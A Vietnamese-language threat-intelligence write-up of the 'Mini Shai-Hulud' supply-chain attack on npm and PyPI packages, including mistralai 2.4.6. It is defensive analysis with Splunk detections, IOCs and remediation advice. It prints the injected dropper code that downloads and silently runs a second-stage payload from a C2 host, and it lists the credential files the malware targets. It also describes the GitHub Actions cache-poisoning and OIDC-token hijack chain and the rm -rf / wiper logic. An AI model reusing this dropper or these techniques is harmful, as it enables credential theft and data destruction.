Mini Shai-Hulud: Khi Package Mistral AI Trên PyPI Trở Thành Vũ Khí Tấn Công Chuỗi Cung Ứng

Tổng quan
Ngày 11/05/2026, nhóm tấn công TeamPCP phát động chiến dịch "Mini Shai-Hulud" nhắm vào hệ sinh thái npm và PyPI. Trong vòng 5 giờ, hơn 404 phiên bản độc hại được publish trên 172 package, bao gồm thư viện Python chính thức của Mistral AI (mistralai==2.4.6), TanStack, UiPath, Guardrails AI và OpenSearch.
Điểm kỹ thuật nguy hiểm nhất của chiến dịch này: đây là lần đầu tiên trong lịch sử được ghi nhận khi malware vượt qua được mô hình tin cậy SLSA Build Level 3 bằng cách hijack trực tiếp pipeline build hợp lệ, thay vì tấn công artifact sau khi build xong. Các package độc hại mang đầy đủ chữ ký provenance từ Sigstore, khiến chúng qua được toàn bộ lớp kiểm tra cryptographic tiêu chuẩn.
Malware nhắm vào developer credentials: GitHub token, AWS/GCP/Azure key, SSH private key, Kubernetes config, và cả vault manager như 1Password, Bitwarden. Đối tượng bị ảnh hưởng chủ yếu là kỹ sư AI/ML, DevOps, và cloud developer tại các tổ chức dùng các thư viện nêu trên trong pipeline tự động.
Mistral AI xác nhận core infrastructure không bị xâm phạm. Hành động cần làm ngay: kiểm tra môi trường CI/CD có cài mistralai==2.4.6, guardrails-ai==0.10.1 hoặc các package @tanstack trong khoảng thời gian 11-12/05/2026, và rotate toàn bộ credentials liên quan.
Bối cảnh: Shai-Hulud không phải cái tên mới
Cái tên Shai-Hulud được lấy từ loài sâu khổng lồ Arrakis trong tiểu thuyết Dune. Điều đó không phải tình cờ, TeamPCP chủ ý chọn tên này, và các nhánh GitHub commit cũng mang tên các nhân vật trong vũ trụ Dune, một thói quen đặt tên đã giúp researcher nhận dạng các chiến dịch liên tiếp của nhóm này.
Lịch sử của Shai-Hulud bắt đầu từ tháng 9/2025, khi Palo Alto Networks Unit 42 lần đầu ghi nhận một npm worm tự nhân bản, đánh cắp credentials và lan rộng qua automated exfiltration. Tháng 11/2025, biến thể Shai-Hulud 2.0 xuất hiện với cơ chế propagation tinh vi hơn: worm đọc chính payload của mình để nhân bản vào các package mới phát hiện, loại bỏ hoàn toàn sự phụ thuộc vào C2 server trong quá trình lây lan.
TeamPCP không dừng lại ở đó. Tháng 4/2026, nhóm này backdoor Bitwarden CLI npm package (một công cụ quản lý credential được hàng triệu developer tin dùng), theo ghi nhận từ Snyk. Chuỗi hành động cho thấy một chiến lược rõ ràng: ưu tiên nhắm vào các package có quyền truy cập cao, được cài trong môi trường CI/CD, nơi credential của tổ chức được lưu trữ và sử dụng theo chu kỳ tự động.
Mini Shai-Hulud là làn sóng thứ tư, và theo chính branding của TeamPCP, cái tên "Mini" là sự đùa cợt có chủ ý. Về mọi tiêu chí đánh giá thực tế, đây là biến thể destructive nhất từ trước đến nay.
| Mốc thời gian | Sự kiện |
|---|---|
| Tháng 9/2025 | Shai-Hulud v1 xuất hiện, Unit 42 phát hiện và báo cáo |
| Tháng 11/2025 | Shai-Hulud 2.0 backdoor 796 npm packages, 20M+ weekly downloads |
| Tháng 1/2026 | Sự cố Trust Wallet liên quan, thiệt hại $8.5M |
| Tháng 3/2026 | TeamPCP compromise Aqua Security Trivy scanner |
| Tháng 4/2026 | Bitwarden CLI npm package bị backdoor |
| 29/4/2026 | Mini Shai-Hulud bắt đầu giai đoạn đầu |
| 11/5/2026 | Tấn công chính: 84 malicious artifacts trên @tanstack trong 6 phút |
| 11/5/2026 | Lan rộng sang Mistral AI, UiPath, Guardrails AI, OpenSearch |
| 12/5/2026 | TeamPCP open-source toàn bộ worm source code lên GitHub |
| 12/5/2026 | Microsoft Threat Intelligence công bố điều tra mistralai==2.4.6 |
| 18/5/2026 | Chiến dịch Megalodon Wave 2: 5,718 malicious commits đến 5,561 GitHub repos |
Thông tin chiến dịch
| Thuộc tính | Chi tiết |
|---|---|
| Threat actor | TeamPCP |
| Thời gian | 29/4/2026 đến hiện tại (Mini Shai-Hulud Wave 1: 29/4 – 12/5) |
| Loại tấn công | Software supply chain, credential theft, self-propagating worm |
| Target sector | AI/ML developer, DevOps, cloud engineering |
| Target region | Toàn cầu (geofenced exclusion cho Russian language settings) |
| Công cụ chính | Shai-Hulud worm, transformers.pyz payload, OIDC token extractor |
| C2 infrastructure | 83[.]142[.]209[.]194, git-tanstack[.]com, filev2.getsession.org |
| CVE liên quan | CVE-2026-45321 (CVSS 9.6, TanStack GitHub Actions chain) |
| Nguồn phát hiện | Microsoft Threat Intelligence, StepSecurity, SafeDep, Endor Labs, Wiz |
Attack chain chi tiết
Giai đoạn 1: Chiếm quyền kiểm soát pipeline TanStack (Initial Access)
TeamPCP không tấn công trực tiếp vào package. Nhóm này tấn công vào pipeline build. Đây là điểm khác biệt cốt lõi so với các chiến dịch supply chain trước đây.
Kỹ thuật khai thác kết hợp ba điểm yếu trong GitHub Actions theo chuỗi, được đặt mã CVE-2026-45321 (CVSS 9.6):
Đầu tiên là trigger pull_request_target. Khi được cấu hình không đúng, trigger này chạy với write permissions ngay cả khi pull request đến từ một fork bên ngoài. TeamPCP submit pull request từ tài khoản kiểm soát để kích hoạt workflow với quyền cao.
Kế tiếp là GitHub Actions cache poisoning. Attacker inject dependency độc hại vào cache của build environment. Khi legitimate maintainer merge pull request của họ, workflow restore lại cache đã bị nhiễm, đưa attacker-controlled code vào trong build environment hợp lệ.
Điểm then chốt cuối cùng là OIDC token extraction từ runner process memory. Từ bên trong build environment, worm đọc trực tiếp live OIDC token từ memory của GitHub Actions runner. Token này được trao đổi với Sigstore để lấy certificate ký artifact, cho phép publish package với SLSA Build Level 3 provenance attestation hoàn toàn hợp lệ.
Kết quả: 84 malicious artifacts trên 42 @tanstack packages được publish trong 6 phút từ 19:20 đến 19:26 UTC ngày 11/5/2026. Tất cả đều mang chữ ký cryptographic hợp lệ, qua được mọi lớp kiểm tra provenance tiêu chuẩn.
Giai đoạn 2: Self-propagation sang Mistral AI và PyPI (Lateral Movement)
Sau khi xâm nhập TanStack, worm tự nhân bản theo cơ chế tương tự sang các package trong môi trường bị nhiễm. Trong vòng 48 giờ, 172 package npm và 2 package PyPI bị compromise, bao gồm toàn bộ Mistral AI SDK trên cả npm và PyPI.
Trên PyPI, kỹ thuật tấn công khác biệt một chút: thay vì OIDC hijack, TeamPCP inject code trực tiếp vào mistralai/client/__init__.py của package. Đây là dropper được thiết kế để thực thi ngay lập tức khi developer import mistralai.
# Code injection trong mistralai/client/__init__.py
# Malicious code thực thi khi import
# Download second-stage payload
import urllib.request, os, subprocess
urllib.request.urlretrieve(
"https://83[.]142[.]209[.]194/transformers.pyz",
"/tmp/transformers.pyz"
)
# Launch second-stage silently
subprocess.Popen(
["python", "/tmp/transformers.pyz"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
Tên file transformers.pyz được chọn có chủ ý để trông giống thư viện Hugging Face Transformers hợp lệ. Malware chỉ hoạt động trên Linux, đây là quyết định kỹ thuật hợp lý vì Linux là OS chủ đạo của server, cloud environment và AI workload.
Ngoài ra, theo ghi nhận từ SafeDep, package cũng lan sang guardrails-ai==0.10.1 với cùng cơ chế __init__.py injection, download cùng payload từ domain typosquat git-tanstack[.]com.
Giai đoạn 3: Credential harvesting (Collection & Exfiltration)
Payload transformers.pyz nặng 2.3 MB, bị obfuscate nhiều lớp. Sau khi được phân tích bởi Wiz Research, danh sách mục tiêu bao gồm:
# Cloud credentials
~/.aws/credentials, ~/.aws/config
# GCP Application Default Credentials
~/.config/gcloud/application_default_credentials.json
# Azure CLI
~/.azure/accessTokens.json
# Kubernetes
~/.kube/config
# Developer credentials
~/.ssh/ (toàn bộ private keys)
~/.npmrc (publish token)
~/.netrc
# GitHub CLI
~/.config/gh/hosts.yml
# Password managers
1Password vault data
~/.config/Bitwarden/
# Source code secrets
.env files (sweep đệ quy từ home directory)
bash_history
# AI coding tools (persistence targets)
Claude Code extension config
VS Code extension storage
Exfiltration sử dụng ba kênh song song để đảm bảo dữ liệu được gửi về ngay cả khi một kênh bị block:
Kênh thứ nhất là HTTP POST đến C2 server tại 83[.]142[.]209[.]194. Kênh thứ hai là Session messenger network (decentralized, khó block bằng domain blocklist). Kênh thứ ba là GitHub repositories với tên mang chủ đề Dune được tạo bằng stolen tokens.
Giai đoạn 4: Persistence và geofencing logic (Defense Evasion)
Payload cài persistence hook vào Claude Code và VS Code, thiết kế để survive reboot. Đây là lựa chọn target thú vị vì các AI coding tool này thường được cài với quyền cao và có access đến codebase của toàn tổ chức.
Hai điều kiện geofencing đáng chú ý:
Payload tự tắt nếu phát hiện Russian language settings trong OS. Với hệ thống geolocation về Israel hoặc Iran, malware có xác suất 1/6 để thực thi rm -rf /, xóa toàn bộ filesystem. Đây không phải ransomware hay sabotage thông thường. Đây là wiper với logic địa chính trị, một đặc điểm hiếm thấy ở nhóm financially motivated.
Phân tích kỹ thuật: Tại sao SLSA Build Level 3 thất bại
SLSA (Supply-chain Levels for Software Artifacts) là framework được Google và nhiều tổ chức lớn thiết kế để bảo vệ chuỗi cung ứng phần mềm. Build Level 3 yêu cầu build diễn ra trên infrastructure cô lập, không thể bị tác động từ bên ngoài, và artifact phải có chữ ký cryptographic chứng minh nguồn gốc.
Vấn đề cốt lõi mà Mini Shai-Hulud phơi bày: SLSA chứng minh cách artifact được build, không chứng minh code nào được đưa vào build. Khi TeamPCP hijack pipeline từ bên trong bằng cache poisoning, họ không cần break bất kỳ cryptographic guarantee nào. Toàn bộ pipeline vẫn chạy đúng quy trình, ký artifact đúng cách, chỉ là code được đưa vào đã bị substituted.
Theo phân tích từ Cloud Security Alliance, đây là lần đầu tiên kỹ thuật này được documented ở quy mô lớn: "SLSA does not, and cannot, attest that the code submitted to the pipeline was safe; it attests only to the integrity of the build process."
Kết luận thực tiễn: npm audit signatures trả về "clean" không có nghĩa package an toàn trong tình huống này. Provenance attestation cần được kết hợp với behavioral analysis của dependency.
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Triển khai trong chiến dịch |
|---|---|---|---|
| Initial Access | T1195.002 | Compromise Software Supply Chain | Hijack TanStack CI/CD pipeline qua OIDC token theft, publish malicious versions mang SLSA BL3 attestation |
| Execution | T1059.006 | Python | __init__.py injection tự thực thi khi developer import mistralai |
| Persistence | T1546 | Event Triggered Execution | Hook vào Claude Code và VS Code, survive reboot |
| Defense Evasion | T1036.005 | Match Legitimate Name or Location | Payload được đặt tên transformers.pyz giả Hugging Face Transformers |
| Defense Evasion | T1027 | Obfuscated Files or Information | Payload 2.3 MB bị obfuscate nhiều lớp |
| Defense Evasion | T1553.002 | Code Signing | Sử dụng legitimate Sigstore stack với OIDC token bị đánh cắp để ký artifact |
| Credential Access | T1552.001 | Credentials In Files | Thu thập .aws/credentials, .kube/config, .npmrc, .env, SSH keys |
| Credential Access | T1555 | Credentials from Password Stores | Target 1Password và Bitwarden vault |
| Collection | T1005 | Data from Local System | Sweep hơn 100 file path theo danh sách hardcode |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Ba kênh: HTTP, Session messenger, GitHub dead-drop repos |
| Impact | T1485 | Data Destruction | rm -rf / có xác suất 1/6 trên hệ thống geolocate về Israel/Iran |
Detection
Tìm kiếm package bị nhiễm trong môi trường
# Kiểm tra pip
pip show mistralai | grep Version
# Version 2.4.6 là compromised
# Kiểm tra npm
npm ls @tanstack/react-router 2>/dev/null
npm ls guardrails-ai 2>/dev/null
# Kiểm tra lock file
grep -E "mistralai.*2\.4\.6" poetry.lock requirements*.txt pip-requirements*.txt
Splunk: Phát hiện network beaconing đến C2 đã biết
index=network sourcetype=pan:traffic OR sourcetype=fw:log
| where dest_ip IN ("83.142.209.194", "216.126.225.129")
OR dest_domain IN ("git-tanstack.com", "filev2.getsession.org", "api.masscan.cloud")
| stats count, values(src_ip), values(user) by dest_ip, dest_domain, dest_port
| sort -count
Splunk: Phát hiện file download đến /tmp với tên transformer
index=linux sourcetype=linux_audit OR sourcetype=bash_history
| search command="*transformers.pyz*" OR path="*/tmp/transformers*"
| eval risk="HIGH - Shai-Hulud second-stage payload"
| table _time, host, user, command, path, risk
Splunk: Phát hiện persistence hook trong VS Code / Claude Code extension
index=endpoint sourcetype=XmlWinEventLog OR sourcetype=linux_audit
| search (
file_path="*/.vscode/extensions/*" OR
file_path="*/.claude*" OR
file_path="*/Code/User/globalStorage/*"
)
AND (event_type="file_create" OR event_type="file_modify")
AND NOT user IN ("known-dev-accounts")
| stats count by host, user, file_path, _time
GitHub Actions: Phát hiện dấu hiệu Megalodon wave (nếu bạn quản lý repo)
# Tìm workflow mới được thêm với trigger suspicious
git log --all --oneline --diff-filter=A -- '.github/workflows/*.yml' \
| grep -E "(2026-04|2026-05)"
# Tìm commit từ account pattern của Megalodon
git log --format="%an %ae %s" | \
grep -E "(build-bot|auto-ci|ci-bot|pipeline-bot)@"
# Kiểm tra workflow request id-token: write mà không có deployment use case
grep -r "id-token: write" .github/workflows/
IOC để block/hunt
# IP (defanged)
83[.]142[.]209[.]194 # Primary C2 / payload delivery
216[.]126[.]225[.]129 # Megalodon C2 (port 8443)
# Domain (defanged)
git-tanstack[.]com # Typosquat, payload download, data exfil
filev2[.]getsession[.]org # Session messenger exfil endpoint
api[.]masscan[.]cloud # Scanning infrastructure
# File artifact
/tmp/transformers.pyz # Second-stage payload (Linux)
# Package versions cụ thể (cần remove/downgrade)
mistralai==2.4.6
guardrails-ai==0.10.1
@tanstack/* (versions published 2026-05-11T19:20 – 19:26 UTC)
Nhận định
Cái làm cho Mini Shai-Hulud khác với các chiến dịch supply chain trước không phải scale, mặc dù 518 triệu weekly downloads là con số đáng lo. Điều đáng lo hơn là kỹ thuật SLSA bypass vừa được validated ở quy mô lớn, và sau đó được TeamPCP open-source ngày 12/5/2026.
Trước đây, SLSA Build Level 3 được nhiều tổ chức coi như "đủ" để trust một package. Sau Mini Shai-Hulud, assumption đó không còn đúng. Không phải vì SLSA bị broken theo nghĩa cryptographic, mà vì model trust của nó không bao phủ trường hợp build pipeline bị compromise từ bên trong. Đây là sự phân biệt tinh tế nhưng có hệ quả lớn cho cách các tổ chức thiết kế supply chain verification.
Với bối cảnh Việt Nam, rủi ro trực tiếp nhất là với các nhóm DevOps và AI/ML team đang dùng Mistral AI SDK hoặc TanStack trong CI/CD pipeline. Môi trường có mistralai hoặc guardrails-ai trong requirements.txt và chạy automated pip install mà không pin digest hash là điểm yếu cần xem xét ngay.
Nhìn rộng hơn, chiến dịch này là dấu hiệu của một hướng đi mới: attacker không còn cần break authentication của package registry. Họ hijack pipeline của chính maintainer để publish thay cho maintainer. Kỹ thuật này không đặc trưng cho npm hay PyPI, nó applicable với bất kỳ registry nào dùng GitHub Actions và trusted publishing. Đây là lý do CSA nhận định đây là "structural change in the threat landscape rather than a transient campaign event."
Khuyến nghị
Ngay lập tức (0-24h):
Nếu mistralai==2.4.6, guardrails-ai==0.10.1 hoặc bất kỳ package @tanstack nào được cài trên CI/CD pipeline từ 11-12/5/2026, xử lý môi trường đó như đã bị compromise:
- Rotate toàn bộ AWS/GCP/Azure credentials, GitHub tokens, SSH keys từ môi trường bị ảnh hưởng
- Revoke và re-issue Kubernetes service account credentials
- Kiểm tra
/tmp/transformers.pyzvà các process đang chạy từ/tmp/ - Block các IOC đã liệt kê ở firewall và DNS layer
- Hunt trong SIEM theo các detection query nêu trên
Ngắn hạn (1-7 ngày):
Pin dependency bằng digest hash thay vì version tag trong requirements.txt và package-lock.json:
# Thay vì
mistralai>=2.4.0
# Dùng
mistralai==2.5.0 --hash=sha256:[hash-của-version-sạch]
Audit GitHub Actions workflows trong repo tổ chức: tìm id-token: write không có documented justification, pull_request_target trigger với elevated permissions, và workflow mới được thêm sau tháng 4/2026 từ account không quen.
Dài hạn:
Bổ sung behavioral analysis song song với provenance verification. SLSA attestation không đủ standalone. Xem xét runtime sandboxing cho postinstall scripts của npm package và static scanning cho PyPI package trước khi đưa vào production environment.
Với tổ chức quản lý open-source package, cô lập signing step khỏi build environment là biện pháp quan trọng nhất. Bước ký artifact cần xảy ra trên infrastructure riêng biệt, với out-of-band approval, thay vì diễn ra tự động bên trong cùng runner với build.
Indicators of Compromise
# IP Address (defanged)
83[.]142[.]209[.]194 # C2 server / payload delivery (mistralai wave)
216[.]126[.]225[.]129:8443 # Megalodon C2 server (Wave 2)
# Domain (defanged)
git-tanstack[.]com # Typosquat, payload C2, exfil channel
filev2[.]getsession[.]org # Session messenger exfil
api[.]masscan[.]cloud # Attacker scanning infrastructure
# File artifact
/tmp/transformers.pyz # Second-stage Python payload (Linux)
# Network pattern
POST /transformers.pyz HTTP # Initial payload download từ C2
Outbound kết nối port 8443 # Megalodon C2 channel
# Package versions bị nhiễm
mistralai==2.4.6 # PyPI, compromised 12/5/2026
guardrails-ai==0.10.1 # PyPI, compromised 12/5/2026
@tanstack/* (npm) # Versions published 11/5/2026 19:20-19:26 UTC
# Host artifact (persistence)
Extension modification trong ~/.vscode/extensions/
Hook trong Claude Code config directory
Unexpected cron entries hoặc systemd service sau 11/5/2026
Nguồn tham khảo:
- Microsoft Threat Intelligence: mistralai PyPI package v2.4.6 compromise investigation — Microsoft Threat Intelligence
- Microsoft Flagged Mistral AI Hack in PyPI Malware Supply Attack — Memeburn
- Shai-Hulud/Megalodon: A Two-Wave AI Developer Supply Chain Attack — Cloud Security Alliance Labs
- Mini Shai-Hulud Supply Chain Attack CVE-2026-45321 FAQ — Tenable
- TeamPCP's Mini Shai-Hulud Is Back: A Self-Spreading Supply Chain Attack Compromises TanStack npm Packages — StepSecurity
- TanStack npm Packages Hit by Mini Shai-Hulud — Snyk
- TeamPCP Used Mini Shai-Hulud Worm to Poison Over 400 npm and PyPI Packages — HackRead
- Mass Supply-Chain Attack Slams npm and PyPI, Hits Mistral AI — BankInfoSecurity





